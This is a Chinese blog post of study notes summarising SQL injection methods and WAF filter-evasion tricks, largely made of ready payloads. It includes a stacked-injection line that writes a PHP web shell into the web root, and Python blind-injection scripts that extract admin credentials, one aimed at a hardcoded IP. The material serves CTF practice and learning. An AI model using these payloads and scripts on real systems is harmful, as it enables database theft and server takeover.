SQL注入和WAF绕过总结姿势

原创

4v1d 已于 2022-03-14 18:35:04 修改 4220 收藏

分类专栏： web 文章标签： sql 数据库 web安全

于 2022-02-23 20:37:08 首次发布

本文链接：https://blog.csdn.net/weixin_51213906/article/details/123086942

web 专栏收录该内容

7 篇文章 0 订阅

订阅专栏

自己复习专用，大佬勿喷

文章目录

前言

静下心来，学者大佬做点总结

一、注入手法

联合注入

当查询数据会返回显示界面时可以考虑使用union联合查询的方式

1，首先判断是否存在注入

2，然后用 order by 判断有几列数据

```
?id = 1' order by 3 %23
```

3，将id=1改为一个数据库不存在的id值，如-1，

使用union select 1,2,3联合查询语句查看页面是否有显示位。

4，然后利用sql查询语句依次爆破出数据库内的**数据库名，表名，列名，字段信息**

数据库名

```
?id=-1' union select 1,2,database() %23
```

表名

```
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %
23
```

列名

```
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
```

字段

```
?id=-1' union select 1,2,group_concat(username,0x3a,password) from users--+
```

tip：0x3a 代表十六进制的 ：

报错注入

什么场景下有用？
查询不回现内容，但会打印错误信息 Update、Insert等语句，
会打印错误信息（前面的union 不适合 update 语句）

这种场景的源码是怎样的?

```
if($row)
{
    echo 'Your Login name:'.roe['username'];
}
else
{
    print_r(mysql_error());
}
```

当执行的SQL语句出错时返回错误信息，在错误信息中返回数据库的内容，即可实现SQL注入。

那么实现SQL注入的难点就在于构造语句，制造错误，让错误中包含数据库内容。

floor()
SELECT count(*) from information_schema.`TABLES` GROUP BY concat((select version()),floor(rand(0)*2)) group by对rand（）函数操作是产生了错误
extractvalue()
extractvalue(1,concat(0x7e，(select user()),0x7e)) xpath语法导致的错误
updatexml()
select updatexml(1,concat(0x7e,(select version()),0x7e),1) xpath语法导致的错误

1，爆数据库名：

```
?id=1' and extractvalue(1,concat(0x7e,(database()))) --+
```

2,爆表：

```
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.
```

模板

查数据库名：

```
id='and(select extractvalue(1,concat(0x7e,(select database()))))
```

爆表名：

```
id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))
```

爆字段名：

```
id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
```

爆数据：

```
id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
```

来源文章
sql注入之报错注入
MySQL手注之报错注入详解

布尔盲注

> 应用场景
> 当一个页面，存在注入，没显示位，没有输出SQL语句执行错误信息，
> 只能通过页面返回正常不正常进行判断进行SQL注入。

常用到的：
left()函数
regexp
like
substr()函数
ascii()函数
ord()函数
mid()函数

这里引用一篇博客表格

方法	例子	说明
Left() 函数	left(database(),1)>'s'	database()显示数据库名称，left(a,b)从左到右截取a的前b位
regexp	select user() regexp '^r'	正则表达式的用法,user()结果为root,regexp 为匹配 root 的正则表达式
like	select user()like'ro%'	与regexp类似，使用like进行匹配
substr()函数 ascii() 函数	ascii(substr((select database()),1,1))=98	substr(a,b,c)从b位置开始，截取字符串a的c长度，ascii()将某个字符转换为ascii值
ord() 函数 mid() 函数	ord(mid((select user()),1,1))=114	mid(a,b,c)从位置b开始，截取a字符串的c位ord()函数同ascii()，将字符转为ascii值

延时注入

> 延时注入又称时间盲注，也是盲注的一种。
> 通过构造延时注入语句后，浏览器页面的响应时间来判断正确的数据/

多用脚本达成数据获取

堆叠注入

> 顾名思义，堆叠注入就是将一堆sql语句叠加在一起，
> 使用分号结束上一个语句再叠加其他语句一起执行。

> 在SQL中，分号（;）是用来表示一条sql语句的结束。试想一下我们在分号（;）结束一个sql语句后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。而union injection（联合注入）也是将两条语句合并在一起，两者之间有什么区别么？区别就在于union或者union all执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。

例如以下这个例子。
用户输入：1; DELETE FROM products
服务器端生成的sql语句为：（因未对输入的参数进行过滤）

```
Select * from products where productid=1;DELETE FROM products
```

当执行查询后，第一条显示查询信息，第二条则将整个表进行删除
例子

```
id=1';show databases;#
```

经典题目
2019强网杯随便注
前面很常规就是用堆叠来查看库、表之类的，后面的查看flag操作就骚了

坑点：mysql中点引号(')和反勾号(`)的区别

```
linux下不区分，windows下区分
区别:
单引号( ' )或双引号主要用于字符串的引用符号
eg: mysql> SELECT 'hello', "hello" ;

反勾号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
eg:`mysql>SELECT * FROM   `table`   WHERE `from` = 'abc' ;
```

输入 `1'; show columns from `words`; #` 字段使用的是反勾号（`）

以下文章有三种解法，大佬tql随便注-三种解法
1.通过 alert 和 rename修改表名、列名来回显
2.预处理语句+堆叠注入
利用char()方法将ASCII码转换为SELECT字符串，接着利用concat()方法进行拼接获得查询的SQL语句，来绕过过滤或者直接使用concat()方法绕过
3.利用命令执行Getflag,这个最骚了，之前都没见过写shell进去的方法

```
1';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1",char(46),"php'");PR
EPARE sqla from @sql;EXECUTE sqla;
```

二、绕过姿势

绕过空格

参考文章SQL注入绕过技巧

注释符

```
注释符/* */, %a0
```

```
%20 %09 %0a %0b %0c %0d %a0 %00 /**/  /*!*/
```

括号

> 在MySQL中，括号是用来包围子查询的。
> 因此，任何可以计算出结果的语句，都可以用括号包围起来。而括号的两端，可以没有多余的空格。

比如

```
select(user())from dual where(1=1)and(2=2)
```

在注入时

```
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
```

引号绕过（使用十六进制）

> 会使用到引号的地方一般是在最后的 `where` 子句中。如下面的一条sql语句，这条语句就是一个简单的用来查选得到users表中所有字段的一条语句：
>
> ```
> select column_name  from information_schema.tables where table_name="users"
> ```

这个时候如果引号被过滤了，那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。
users的十六进制的字符串是7573657273。那么最后的sql语句就变为了：

```
select column_name  from information_schema.tables where table_name=0x7573657273
```

逗号绕过（使用from或者offset）

> 场景
> 在使用盲注的时候，需要使用到substr(),mid(),limit。
> 这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from for的方式来解决

举例子
比如sql靶场中的盲注是这样的

```
' and ascii(substr((select database()),1,1))=xx %23
```

如果过滤了逗号可以这样写

```
' and ascii(substr((select database())from 1 for 1))=xx %23
```

绕过union，select，where等

1.注释符绕过

```
U/**/ NION /**/ SE/**/ LECT /**/user，pwd from user
```

2.大小写绕过

```
id=-1'UnIoN/**/SeLeCT
```

3.内联注释绕过

```
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
```

4.双写绕过

```
id=-1'UNIunionONSeLselectECT1,2,3--
```

。。。。。。

三、SQL盲注脚本

脚本请根据题目具体情况修改

二分法

```python
import requests
def SQLinject():
    # url是随时更新的，具体的以做题时候的为准
    url = ''
    # url = 'http://www.sql.com/login.php'
    data = {"name": "",
            "password": "123"
            }
    flag = ''
    i = 1

    while True:
        # 从可打印字符开始
        begin = 32
        end = 126
        mid = (begin + end) // 2
        while begin < end:
            # print(begin, mid, end)
            # data["name"] = "admin' anandd iiff((ascii(substr((Select group_concat(table_name) from infoorrmation_schema.tables Where table_schema='ctf'),{0},1))>{1}),1,0)#".format(i, mid)
            # data["name"] = "admin' anandd iiff((ascii(substr((Select group_concat(column_name) from infoorrmation_schema.columns Where table_name='admin'),{0},1))>{1}),1,0) anandd '1".format(i, mid)
            data["name"] = "admin'/**/anandd/**/iiff((ascii(substr((Select/**/group_concat(USER,':',PASSWOORRD)/**/from/**/admin),{0},1))>{1}),1,0)/**/anandd/**/'1".format(i, mid)
            # time_start = time.time()
            r = requests.post(url, data=data)
            # time_end = time.time()
            # all_time = time_end - time_start
            # print(r.text)
            if "用户不存在！" in r.text:
                # print(111)
                end = mid
                tmp = (begin + end) // 2
                mid = tmp
            else:
                begin = mid + 1
                tmp = (begin + end) // 2
                mid = tmp
        # print(mid)
        flag += chr(mid)
        i += 1
        print(flag)


if __name__ == "__main__":
    SQLinject()
```

普通脚本

```python
# coding:utf-8
import requests
import datetime
import time

# 获取数据库名长度


def database_len():
    for j in range(1,40):
        for i in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRESTUVWXYZ':
            payload = "admin'/**/anandd/**/iiff((substr(database(),%d,1)='%s'),ssleepleep(2),1)/**/anandd'1'='1"
 % (j,i)
            url = '''http://47.97.203.129:5000/login.php'''
            data = {'name': payload, "password": '123'}
            # print(url+payload+'%23')
            time1 = datetime.datetime.now()
            r = requests.post(url=url,data=data)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            if sec >= 2:
                print(i)
            else:
                print(i)
                break
    print('database_len:', i)


#database_len()


#获取数据库名
def database_name():
    name = ''

    for j in range(1, 40):
        for i in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRESTUVWXYZ':
            payload = "admin'/**/anandd/**/iiff(substr((selecT/**/passwoorrd/**/from/**/ctf.admin),%d,1)='%c',sl
esleepep(3),1)/**/anandd'1'='1"%(j, i)
            data = {'name': payload, "password": '123'}
            url = '''http://47.97.203.129:5000/login.php'''
            #payload = '''?id=1' and if(substr(database(),%d,1)='%s',sleep(1),1)''' % (j, i)
            # print(url+payload+'%23')
            time1 = datetime.datetime.now()
            r = requests.post(url=url,data=data)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            if sec >= 3:
                name += i
                print(name)
                break
    print('database_name:', name)



database_name()
```

总结

参考文章

SQL注入的几种类型和原理
基本的四种SQL注入方式